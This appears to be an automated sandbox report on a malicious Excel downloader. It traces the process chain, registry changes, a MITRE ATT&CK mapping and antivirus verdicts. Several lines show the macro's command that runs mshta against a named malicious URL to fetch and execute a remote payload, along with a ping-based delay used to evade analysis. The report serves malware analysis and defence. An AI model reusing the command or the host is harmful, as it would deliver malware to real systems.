Source: C:\Windows\System32\cmd.exe	Console Write: ................................ .w.i.n.d.o.w.M.o.d.e...b.a.t. .-.p.i.d. .1. .-.m.o.d.e. .h.i.d.d.e.n. .................H.......................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................................o.d.e...................d.......m.o.d.e........... .............................................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ...................I....................................@c.I..... ......P................;.v....................................................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................................................z .....................D......................... .............................................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................c.d............./................................$.I............/...............................................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................ .C.:.\.U.s.e.r.s.\.P.u.b.l.i.c. .......d.......c.d............... .....................".......................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................................s.\.P.u.................d.......c.d............... .............................................	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Console Write: ................................................d1K.......................S.............d...............e.S.............X.......B.........-.....	Jump to behavior

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\cmd.exe cmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 8 127.0.0.1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c start /min taskkill /f /im WINWORD.EXE
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im WINWORD.EXE
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mshta.exe mshta http://facextrade.com.br/wp-includes/certificates/4.txt
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\cmd.exe cmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 8 127.0.0.1	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c start /min taskkill /f /im WINWORD.EXE	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mshta.exe mshta http://facextrade.com.br/wp-includes/certificates/4.txt	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im WINWORD.EXE	Jump to behavior

Source: C:\Windows\System32\mshta.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\InProcServer32

Jump to behavior

Source: C:\Windows\System32\taskkill.exe

WMI Queries: IWbemServices::ExecQuery - SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "WINWORD.EXE")

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\Public\Outlook.bat

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVR6B9D.tmp

Jump to behavior

Source: classification engine

Classification label: mal100.troj.expl.evad.winXLS@11/86@4/4

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\System32\cmd.exe cmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit

Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Settings

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: C:\Windows\System32\mshta.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Uses ping.exe to sleep

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 8 127.0.0.1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 8 127.0.0.1			Jump to behavior

Source: C:\Windows\System32\taskkill.exe TID: 1964	Thread sleep time: -60000s >= -30000s			Jump to behavior
Source: C:\Windows\System32\mshta.exe TID: 684	Thread sleep time: -420000s >= -30000s			Jump to behavior

Source: C:\Windows\System32\taskkill.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Windows\System32\mshta.exe

Memory protected: page read and write | page guard

Jump to behavior

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\taskkill.exe taskkill /f /im WINWORD.EXE

Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 8 127.0.0.1	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c start /min taskkill /f /im WINWORD.EXE	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mshta.exe mshta http://facextrade.com.br/wp-includes/certificates/4.txt	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im WINWORD.EXE	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\System32\Macromed\Flash\activex.vch VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Windows Management Instrumentation	Path Interception	11 Process Injection	1 Masquerading	1 Input Capture	1 Virtualization/Sandbox Evasion	Remote Services	1 Email Collection	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	1 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Modify Registry	LSASS Memory	11 Remote System Discovery	Remote Desktop Protocol	1 Input Capture	Exfiltration Over Bluetooth	4 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	121 Scripting	Logon Script (Windows)	Logon Script (Windows)	1 Virtualization/Sandbox Evasion	Security Account Manager	1 System Network Configuration Discovery	SMB/Windows Admin Shares	1 Clipboard Data	Automated Exfiltration	3 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	23 Exploitation for Client Execution	Logon Script (Mac)	Logon Script (Mac)	11 Disable or Modify Tools	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	14 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	11 Process Injection	LSA Secrets	14 System Information Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	121 Scripting	Cached Domain Credentials	System Owner/User Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
SecuriteInfo.com.Exploit.Siggen3.17149.11632.xls	49%	Virustotal		Browse
SecuriteInfo.com.Exploit.Siggen3.17149.11632.xls	29%	Metadefender		Browse
SecuriteInfo.com.Exploit.Siggen3.17149.11632.xls	41%	ReversingLabs	Script-Macro.Downloader.Amphitryon
SecuriteInfo.com.Exploit.Siggen3.17149.11632.xls	100%	Avira	X97M/Agent.9944011
SecuriteInfo.com.Exploit.Siggen3.17149.11632.xls	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
facextrade.com.br	5%	Virustotal		Browse
storage.ie6countdown.com	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-201204170	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/bootstrap.css	6%	Virustotal		Browse
http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/bootstrap.css	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/CherryFramework	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.carousel.css?ver=1	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0US	100%	Avira URL Cloud	malware
http://www.broofa.com	0%	URL Reputation	safe
http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4ET4.0E)	100%	Avira URL Cloud	malware
http://adomas.org/javascript-mouse-wheel/	0%	URL Reputation	safe
http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3http://	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/theme51253/favicon.ico	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.simplr.smoothscroll.min.js?ver=1.0	100%	Avira URL Cloud	malware
http://brandonaaron.net)	0%	Avira URL Cloud	safe
https://csp.withgoogle.com/csp/report-to/apps-themes	0%	URL Reputation	safe
http://facextrade.com.br/wp-content/plugins/motopress-content-editor/bootstrap/bootstrap-grid.min.cs	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/gtranslate/gtranslate-style24.css?ver=4.9.20	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/CherryFramework/css/camera.css.css6~Ojp	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-includes/certificates/4.txtWinSta0	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/gtranslate/flags/16/pt-br.png	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/cherry-parallax/css/parallax.css?ver=1.0.0.NET4.0E)	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-includes/certificates/4.txt~	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.20	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/motopress-content-editor/includes/css/theme.css?ver=1.5.8	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3http://facextrad	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0ET4.0E)	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/CherryFramework/style.css.9.20ive.css.NET4.0E)	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/elasti-carousel/jquery.elastislide.	100%	Avira URL Cloud	malware
http://kyruus.com	0%	URL Reputation	safe
http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1?	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/bannerrotator/css/banner-rotator.css?ver=4.9.20	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/bannerrotator/css/banner-rotator.css?ver=4.9.20tion	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0http:	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/responsive.cssS	100%	Avira URL Cloud	malware
https://facextrade.com.br/feed/	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/theme51253/main-style.css	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/bannerrotator/css/caption.css?ver=4.9.20	100%	Avira URL Cloud	malware
http://facextrade.com.br/xmlrpc.php	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/bootstrap.cssacket	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/elasti-carousel/jquery.elastislide.js?ver=1.2.8.1	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/jplayer.playlist.min.js?ver=2.3.0	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/motopress-content-editor/bootstrap/bootstrap-grid.min.css?ver=1.5.8	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/CherryFramework/css/style.css	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/gtranslate/switcher.png	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/bannerrotator/css/caption.css?ver=4.9.204.9.20	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/camera.min.js?ver=1.3.4	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-includes/certificates/4.txtAWinSta0	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/CherryFramework/images/up-arrow.png	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-20120417a	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/responsive.css	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-includes/certificates/4.txtmshta	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/CherryFramework/css/magnific-popup.css?ver=0.9.3	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.20e.css	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.theme.css?ver=1.24	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-includes/certificates/4.txtsmshta	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/CherryFramework/style.css	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/theme51253/images/content_bg4.jpg	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/theme51253/main-style.csse	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2P	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/animate/animate-logo.css?ver=20	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/owl/owl.carousel.js?ver=1.0.0	100%	Avira URL Cloud	malware
http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.magnific-popup.min.js?ver=0.9.3	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
facextrade.com.br	187.45.240.69	true	true	5%, Virustotal, Browse	unknown
gstaticadssl.l.google.com	172.217.16.195	true	false		high
netdna.bootstrapcdn.com	104.18.10.207	true	false		high
www3.l.google.com	142.250.181.238	true	false		high
storage.ie6countdown.com	unknown	unknown	false	0%, Virustotal, Browse	unknown
translate.google.com	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/bootstrap.css	true	6%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/device.min.js?ver=1.0.0	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.simplr.smoothscroll.min.js?ver=1.0	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/plugins/gtranslate/gtranslate-style24.css?ver=4.9.20	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/plugins/gtranslate/flags/16/pt-br.png	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-includes/js/wp-emoji-release.min.js?ver=4.9.20	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/plugins/motopress-content-editor/includes/css/theme.css?ver=1.5.8	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/plugins/bannerrotator/css/banner-rotator.css?ver=4.9.20	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/themes/theme51253/main-style.css	true	Avira URL Cloud: malware	unknown
http://facextrade.com.br/wp-content/plugins/bannerrotator/css/caption.css?ver=4.9.20	true	Avira URL Cloud: malware	unknown
